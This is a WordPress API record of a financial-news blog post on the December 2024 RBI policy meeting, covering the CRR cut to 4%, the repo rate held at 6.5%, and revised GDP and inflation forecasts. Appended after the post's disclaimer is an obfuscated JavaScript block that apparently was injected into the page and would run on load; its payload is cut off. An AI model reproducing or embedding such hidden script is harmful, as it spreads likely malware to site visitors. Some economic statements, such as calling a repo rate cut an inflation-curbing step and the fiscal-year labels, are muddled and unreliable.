{"id":10121,"date":"2024-12-06T10:25:58","date_gmt":"2024-12-06T10:25:58","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=10121"},"modified":"2024-12-06T10:25:58","modified_gmt":"2024-12-06T10:25:58","slug":"rbi-mpc-meeting","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/rbi-mpc-meeting\/","title":{"rendered":"RBI MPC Meeting 2024 &#8211; CRR 4% from 4.5%, Repo Rate unchanged at 6.5%"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/rbi-mpc-meeting\/#What_is_CRR_How_it_matters\" >What is CRR? How it matters?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/rbi-mpc-meeting\/#Key_Highlights_of_RBI_Monetary_Policy_Meeting_2024\" >Key Highlights of RBI Monetary Policy Meeting 2024<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/rbi-mpc-meeting\/#Stock_market_Reaction\" >Stock market Reaction<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>RBI MPC Meeting 2024 &#8211; CRR 4% from 4.5%, Repo Rate unchanged at 6.5%<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Today in the <strong>RBI MPC Meeting<\/strong>, though the repo rate remain unchanged, the central bank slashed the <strong>CRR<\/strong> to 4% after a long time. RBI Governor, Shaktikanta Das announced the decrease in CRR and said that it can help in releasing \u20b9 1.16 lakh crore of funds to the banks which in turn will increase the lending capacity of the commercial banks. So what is this CRR or why it matters to the economy, banks, and investors? What are the other highlights of the <strong>MPC meeting today<\/strong>? Let\u2019s find out in the blog below \u2013&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-is-crr-how-it-matters\"><span class=\"ez-toc-section\" id=\"What_is_CRR_How_it_matters\"><\/span><strong>What is CRR? How it matters?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">CRR stands for <strong>Cash Reserve Ratio<\/strong>, which is the mandatory percentage of funds a commercial banks need to keep as reserve out of its deposits with the central bank to maintain liquidity in the whole banking system. This reserved fund is not allowed to be used by the commercial bank for any kind of lending services or investments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now in today\u2019s meeting the CRR has been reduced from 4.5% to 4%, which means more funds will be available to the commercial banks for lending. This in turn can increase the liquidity in the market with more availability of funds and help in business growth. The <strong>repo rate cut<\/strong> is a direct action taken by RBI to curb inflation, and decreasing the <strong>repo rate<\/strong> helps boost the economy by making credit cheaper, which leads to economic growth. CRR is a broader strategy where more funds are injected into the market to help the businesses use them and grow, while interest rate is stabilized or inflation gets under control.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This 0.5% reduction in the CRR can lead to the release of \u20b9 1.16 lakh crore for commercial banks and NBFCs, which they can use for lending purposes.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-key-highlights-of-rbi-monetary-policy-meeting-2024\"><span class=\"ez-toc-section\" id=\"Key_Highlights_of_RBI_Monetary_Policy_Meeting_2024\"><\/span><strong>Key Highlights of RBI Monetary Policy Meeting 2024<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Apart from reducing CRR, the other important factors decided by the <strong>monetary policy committee<\/strong> today are \u2013&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The <strong>RBI repo rate<\/strong> has been kept unchanged at 6.5% for the 11<sup>th<\/sup> time consecutively. As there is a direct correlation between <strong>inflation and interest rates<\/strong>, even though the inflation surpassed the RBI\u2019s upper tolerance level of 6%, the interest rate remain unchanged in today\u2019s MPC meeting. While the market is looking forward to a rate cut, due to inflation again increasing, the rates couldn\u2019t be slashed. It is not only the inflation, which rose during September, and October, but also the <strong>GDP growth<\/strong> has fallen during the second quarter even against its own anticipation of 7% to only 5.4%.\u00a0<\/li>\n\n\n\n<li><strong>The GDP growth <\/strong>forecast by RBI, which was 7.2% for the entire FY24, has been now slashed to 6.6%.\u00a0<\/li>\n\n\n\n<li>The inflation target has to be increased to 4.8% from the earlier 4.5% for FY24 as it has gone too far to be curbed to 4.5% level in this fiscal.\u00a0<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-stock-market-reaction\"><span class=\"ez-toc-section\" id=\"Stock_market_Reaction\"><\/span><strong>Stock market Reaction<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">As the RBI announced the CRR cut, the banking indices and stocks started rejoicing with Nifty Bank trading in green during the early hours of the day, though it dropped marginally during the end. During the early hours of the session today, the market soared, however, the markets are nearing the close, it is becoming sluggish and losing the points it gained in the morning.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/indianexpress.com\/article\/business\/rbi-mpc-meeting-2024-live-updates-monetary-policy-meeting-repo-rate-crr-9709443\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">TheIndianExpress<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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RBI Governor, Shaktikanta Das announced the decrease in CRR and said that it can help in releasing \u20b9 1.16 lakh crore of funds to the banks which in turn will increase &hellip; <a href=\"https:\/\/shoonya.com\/blog\/rbi-mpc-meeting\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;RBI MPC Meeting 2024 &#8211; CRR 4% from 4.5%, Repo Rate unchanged at 6.5%&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":10130,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[5986,3439,4712,1216,5987,5481,4715,5985,4716],"class_list":["post-10121","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-cash-reserve-ratio","tag-gdp-growth","tag-inflation-and-interest-rates","tag-monetary-policy-committee","tag-rbi-monetary-policy","tag-rbi-monetary-policy-meeting","tag-rbi-mpc-meeting","tag-rbi-mpc-meeting-2024","tag-rbi-repo-rate"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>RBI MPC Meeting Update - Status Quo on Repo Rate, CRR reduced<\/title>\n<meta name=\"description\" content=\"In today\u2019s RBI MPC Meeting, the report rate remained unchanged but CRR decreased to 4%. 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